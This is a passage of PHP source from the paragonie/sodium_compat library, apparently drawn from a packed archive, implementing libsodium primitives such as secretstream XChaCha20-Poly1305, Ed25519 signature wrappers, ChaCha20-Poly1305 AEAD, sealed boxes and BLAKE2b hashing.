secretstream_xchacha20poly1305_init_push($key) { # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES); $out = random_bytes(24); # crypto_core_hchacha20(state->k, out, k, NULL); $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20($out, $key); $state = new ParagonIE_Sodium_Core32_SecretStream_State( $subkey, ParagonIE_Sodium_Core32_Util::substr($out, 16, 8) . str_repeat("\0", 4) ); # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $state->counterReset(); # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); return array( $state->toString(), $out ); } /** * @param string $key * @param string $header * @return string Returns a state. * @throws Exception */ public static function secretstream_xchacha20poly1305_init_pull($key, $header) { # crypto_core_hchacha20(state->k, in, k, NULL); $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($header, 0, 16), $key ); $state = new ParagonIE_Sodium_Core32_SecretStream_State( $subkey, ParagonIE_Sodium_Core32_Util::substr($header, 16) ); $state->counterReset(); # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); # return 0; return $state->toString(); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); # crypto_onetimeauth_poly1305_state poly1305_state; # unsigned char block[64U]; # unsigned char slen[8U]; # unsigned char *c; # unsigned char *mac; $msglen = ParagonIE_Sodium_Core32_Util::strlen($msg); $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad); if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # if (outlen_p != NULL) { # *outlen_p = 0U; # } # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = tag; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core32_Util::intToChr($tag) . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(1) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $auth->update($block); # out[0] = block[0]; $out = $block[0]; # c = out + (sizeof tag); # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k); $cipher = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $msg, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(2) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update($cipher); $out .= $cipher; unset($cipher); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # mac = c + mlen; # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); $mac = $auth->finish(); $out .= $mac; # sodium_memzero(&poly1305_state, sizeof poly1305_state); unset($auth); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } # if (outlen_p != NULL) { # *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen; # } return $out; } /** * @param string $state * @param string $cipher * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '') { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); $cipherlen = ParagonIE_Sodium_Core32_Util::strlen($cipher); # mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES; $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES; $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad); # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = in[0]; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $cipher[0] . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(1) ); # tag = block[0]; # block[0] = in[0]; # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $tag = ParagonIE_Sodium_Core32_Util::chrToInt($block[0]); $block[0] = $cipher[0]; $auth->update($block); # c = in + (sizeof tag); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update(ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen)); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen); $auth->update($slen); # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); # sodium_memzero(&poly1305_state, sizeof poly1305_state); $mac = $auth->finish(); # stored_mac = c + mlen; # if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) { # sodium_memzero(mac, sizeof mac); # return -1; # } $stored = ParagonIE_Sodium_Core32_Util::substr($cipher, $msglen + 1, 16); if (!ParagonIE_Sodium_Core32_Util::hashEquals($mac, $stored)) { return false; } # crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k); $out = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(2) ); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } return array($out, $tag); } /** * @param string $state * @return void * @throws SodiumException */ public static function secretstream_xchacha20poly1305_rekey(&$state) { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + # crypto_secretstream_xchacha20poly1305_INONCEBYTES]; # size_t i; # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # new_key_and_inonce[i] = state->k[i]; # } $new_key_and_inonce = $st->getKey(); # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] = # STATE_INONCE(state)[i]; # } $new_key_and_inonce .= ParagonIE_Sodium_Core32_Util::substR($st->getNonce(), 0, 8); # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce, # sizeof new_key_and_inonce, # state->nonce, state->k); $st->rekey(ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $new_key_and_inonce, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(0) )); # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # state->k[i] = new_key_and_inonce[i]; # } # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # STATE_INONCE(state)[i] = # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]; # } # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $st->counterReset(); $state = $st->toString(); } /** * Detached Ed25519 signature. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { return ParagonIE_Sodium_Core32_Ed25519::sign_detached($message, $sk); } /** * Attached Ed25519 signature. (Returns a signed message.) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { return ParagonIE_Sodium_Core32_Ed25519::sign($message, $sk); } /** * Opens a signed message. If valid, returns the message. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signedMessage * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_open($signedMessage, $pk) { return ParagonIE_Sodium_Core32_Ed25519::sign_open($signedMessage, $pk); } /** * Verify a detached signature of a given message and public key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signature * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Core32_Ed25519::verify_detached($signature, $message, $pk); } } PKÜ�\^�����-vendor/paragonie/sodium_compat/src/Crypto.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Crypto', false)) { return; } /** * Class ParagonIE_Sodium_Crypto * * ATTENTION! * * If you are using this library, you should be using * ParagonIE_Sodium_Compat in your code, not this class. */ abstract class ParagonIE_Sodium_Crypto { const aead_chacha20poly1305_KEYBYTES = 32; const aead_chacha20poly1305_NSECBYTES = 0; const aead_chacha20poly1305_NPUBBYTES = 8; const aead_chacha20poly1305_ABYTES = 16; const aead_chacha20poly1305_IETF_KEYBYTES = 32; const aead_chacha20poly1305_IETF_NSECBYTES = 0; const aead_chacha20poly1305_IETF_NPUBBYTES = 12; const aead_chacha20poly1305_IETF_ABYTES = 16; const aead_xchacha20poly1305_IETF_KEYBYTES = 32; const aead_xchacha20poly1305_IETF_NSECBYTES = 0; const aead_xchacha20poly1305_IETF_NPUBBYTES = 24; const aead_xchacha20poly1305_IETF_ABYTES = 16; const box_curve25519xsalsa20poly1305_SEEDBYTES = 32; const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32; const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32; const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32; const box_curve25519xsalsa20poly1305_NONCEBYTES = 24; const box_curve25519xsalsa20poly1305_MACBYTES = 16; const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16; const box_curve25519xsalsa20poly1305_ZEROBYTES = 32; const onetimeauth_poly1305_BYTES = 16; const onetimeauth_poly1305_KEYBYTES = 32; const secretbox_xsalsa20poly1305_KEYBYTES = 32; const secretbox_xsalsa20poly1305_NONCEBYTES = 24; const secretbox_xsalsa20poly1305_MACBYTES = 16; const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16; const secretbox_xsalsa20poly1305_ZEROBYTES = 32; const secretbox_xchacha20poly1305_KEYBYTES = 32; const secretbox_xchacha20poly1305_NONCEBYTES = 24; const secretbox_xchacha20poly1305_MACBYTES = 16; const secretbox_xchacha20poly1305_BOXZEROBYTES = 16; const secretbox_xchacha20poly1305_ZEROBYTES = 32; const stream_salsa20_KEYBYTES = 32; /** * AEAD Decryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_ABYTES; /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core_Util::substr( $message, $clen, self::aead_chacha20poly1305_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 0, $clen); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 32, $nonce, $key ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); $state->update($ad); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES; /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream( 32, $nonce, $key ); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core_Util::substr( $message, $len - self::aead_chacha20poly1305_IETF_ABYTES, self::aead_chacha20poly1305_IETF_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr( $message, 0, $len - self::aead_chacha20poly1305_IETF_ABYTES ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf))); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey); } /** * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $key * @return string * @throws TypeError */ public static function auth($message, $key) { return ParagonIE_Sodium_Core_Util::substr( hash_hmac('sha512', $message, $key, true), 0, 32 ); } /** * HMAC-SHA-512-256 validation. Constant-time via hash_equals(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function auth_verify($mac, $message, $key) { return ParagonIE_Sodium_Core_Util::hashEquals( $mac, self::auth($message, $key) ); } /** * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box($plaintext, $nonce, $keypair) { $c = self::secretbox( $plaintext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); return $c; } /** * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal($message, $publicKey) { /** @var string $ephemeralKeypair */ $ephemeralKeypair = self::box_keypair(); /** @var string $ephemeralSK */ $ephemeralSK = self::box_secretkey($ephemeralKeypair); /** @var string $ephemeralPK */ $ephemeralPK = self::box_publickey($ephemeralKeypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair - The combined keypair used in crypto_box() */ $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey); /** @var string $ciphertext Ciphertext + MAC from crypto_box */ $ciphertext = self::box($message, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($ephemeralKeypair); ParagonIE_Sodium_Compat::memzero($ephemeralSK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $ephemeralKeypair = null; $ephemeralSK = null; $nonce = null; } return $ephemeralPK . $ciphertext; } /** * Opens a message encrypted via box_seal(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal_open($message, $keypair) { /** @var string $ephemeralPK */ $ephemeralPK = ParagonIE_Sodium_Core_Util::substr($message, 0, 32); /** @var string $ciphertext (ciphertext + MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 32); /** @var string $secretKey */ $secretKey = self::box_secretkey($keypair); /** @var string $publicKey */ $publicKey = self::box_publickey($keypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair */ $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK); /** @var string $m */ $m = self::box_open($ciphertext, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($secretKey); ParagonIE_Sodium_Compat::memzero($ephemeralPK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $secretKey = null; $ephemeralPK = null; $nonce = null; } return $m; } /** * Used by crypto_box() to get the crypto_secretbox() key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sk * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function box_beforenm($sk, $pk) { return ParagonIE_Sodium_Core_HSalsa20::hsalsa20( str_repeat("\x00", 16), self::scalarmult($sk, $pk) ); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @return string * @throws Exception * @throws SodiumException * @throws TypeError */ public static function box_keypair() { $sKey = random_bytes(32); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ public static function box_seed_keypair($seed) { $sKey = ParagonIE_Sodium_Core_Util::substr( hash('sha512', $seed, true), 0, 32 ); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * @throws TypeError */ public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey) { return ParagonIE_Sodium_Core_Util::substr($sKey, 0, 32) . ParagonIE_Sodium_Core_Util::substr($pKey, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_secretkey($keypair) { if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== 64) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core_Util::substr($keypair, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_publickey($keypair) { if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core_Util::substr($keypair, 32, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function box_publickey_from_secretkey($sKey) { if (ParagonIE_Sodium_Core_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.' ); } return self::scalarmult_base($sKey); } /** * Decrypt a message encrypted with box(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_open($ciphertext, $nonce, $keypair) { return self::secretbox_open( $ciphertext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * Calculate a BLAKE2b hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string|null $key * @param int $outlen * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash($message, $key = '', $outlen = 32) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { /** @var SplFixedArray $k */ $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message); /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outlen); ParagonIE_Sodium_Core_BLAKE2b::update($ctx, $in, $in->count()); /** @var SplFixedArray $out */ $out = new SplFixedArray($outlen); $out = ParagonIE_Sodium_Core_BLAKE2b::finish($ctx, $out); /** @var array<int, int> */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core_Util::intArrayToString($outArray); } /** * Finalize a BLAKE2b hashing context, returning the hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param int $outlen * @return string * @throws SodiumException * @throws TypeError 